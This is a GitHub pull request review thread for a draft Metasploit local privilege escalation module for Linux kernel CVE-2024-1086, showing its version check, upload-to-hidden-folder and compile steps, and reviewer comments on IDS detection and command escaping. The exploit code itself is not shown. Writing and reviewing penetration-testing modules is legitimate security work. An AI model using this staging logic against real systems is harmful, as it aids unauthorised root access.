WIP: LPE CVE-2024-1086 #19625
WIP: LPE CVE-2024-1086 #19625
Conversation
| release = kernel_release | ||
| if ( | ||
| Rex::Version.new(release.split('-').first) >= Rex::Version.new('5.15.0') && | ||
| Rex::Version.new(release.split('-').first) < Rex::Version.new('6.0') | ||
| ) || | ||
| ( | ||
| Rex::Version.new(release.split('-').first) < Rex::Version.new('6.6') && | ||
| Rex::Version.new(release.split('-').first) >= Rex::Version.new('6.0') | ||
| ) | ||
| return CheckCode::Appears("Kernel version #{release} appears to be vulnerable") | ||
| end |
There was a problem hiding this comment.
| release = kernel_release | |
| if ( | |
| Rex::Version.new(release.split('-').first) >= Rex::Version.new('5.15.0') && | |
| Rex::Version.new(release.split('-').first) < Rex::Version.new('6.0') | |
| ) || | |
| ( | |
| Rex::Version.new(release.split('-').first) < Rex::Version.new('6.6') && | |
| Rex::Version.new(release.split('-').first) >= Rex::Version.new('6.0') | |
| ) | |
| return CheckCode::Appears("Kernel version #{release} appears to be vulnerable") | |
| end | |
| release = kernel_release().split('-').first | |
| if release.between(Rex::Version.new('5.15.0'), Rex::Version.new('6.0')) | |
| return CheckCode::Appears("Kernel version #{release} appears to be vulnerable") | |
| elsif release.between(Rex::Version.new('6.0'), Rex::Version.new('6.6')) | |
| return CheckCode::Appears("Kernel version #{release} appears to be vulnerable") | |
| end |
but it seems that this can be simplified even further to:
release = kernel_release().split('-').first
if release.between(Rex::Version.new('5.15.0'), Rex::Version.new('6.6'))
return CheckCode::Appears("Kernel version #{release} appears to be vulnerable")
end
| end | ||
|
|
||
| def check_musl_tools? | ||
| lib = cmd_exec('dpkg --get-selections | grep musl-tools') |
There was a problem hiding this comment.
This will only work on Debian :/
| zip.add_file(file.split('CVE-2024-1086/')[1], file_contents) | ||
| end | ||
| print_status('Finished creating exploit source zip, uploading...') | ||
| zip_path = "#{nested_base}/.#{rand_text_alphanumeric(5..10)}.zip" |
There was a problem hiding this comment.
Can't the files be concatenated instead?
| fail_with Failure::BadConfig, "#{base_dir} is not writable" | ||
| end | ||
|
|
||
| nested_base = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" |
There was a problem hiding this comment.
A couple of IDS are flagging binary execution happening instead hidden folders. I think it'd be better to let the user specify the full path of the folder.
| if command_exists?('python3') | ||
| cmd_exec "python3 -m zipfile -e #{zip_path} #{nested_base}" | ||
| else | ||
| cmd_exec "unzip #{zip_path} -d #{nested_base}" | ||
| end | ||
| print_status('Compiling') | ||
| cmd_exec "cd #{nested_base}; make" |
There was a problem hiding this comment.
The nested_base value contains a portion that is user specified from the WritableDir datastore option. If that value contains a space, then these commands will fail.
We've recently added a new command execution API to handle these cases correctly and t should generally be used when the command is not static.
As an example the first one should be create_process('python3', args: ['-m', 'zipfile', '-e', zip_path, nested_base]).
The new #create_process method will take the arguments and ensure that they are escaped correctly for you given the context in which they're executed (platform, session type, etc.).
| 'Notes' => { | ||
| 'Stability' => [CRASH_OS_DOWN], | ||
| 'Reliability' => [UNRELIABLE_SESSION], | ||
| 'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS] |
There was a problem hiding this comment.
Is SCREEN_EFFECTS due to the system locking up here? If not would you mind dropping a comment to clarify.
|
Not really sure if it applies here as this PR is marked as draft, but I have been doing review for #19745 and noticed following: Not really sure if it's caused by escape fix, but it might be worth having it noted here. I'll investigate more later on. |
Fixes: #19153
WIP exploit for CVE-2024-1086 . Running the exploit by hand on the box seems fairly reliable. However running it through metasploit currently results in about 75% hard lock of the box either instantly, or within 6min. 25% of the time its perfect though!
Only been testing the live build functionality, not the 'drop a pre-complied binary' branch
I forgot to bring along a bunch of the library files as well, so need to add those back.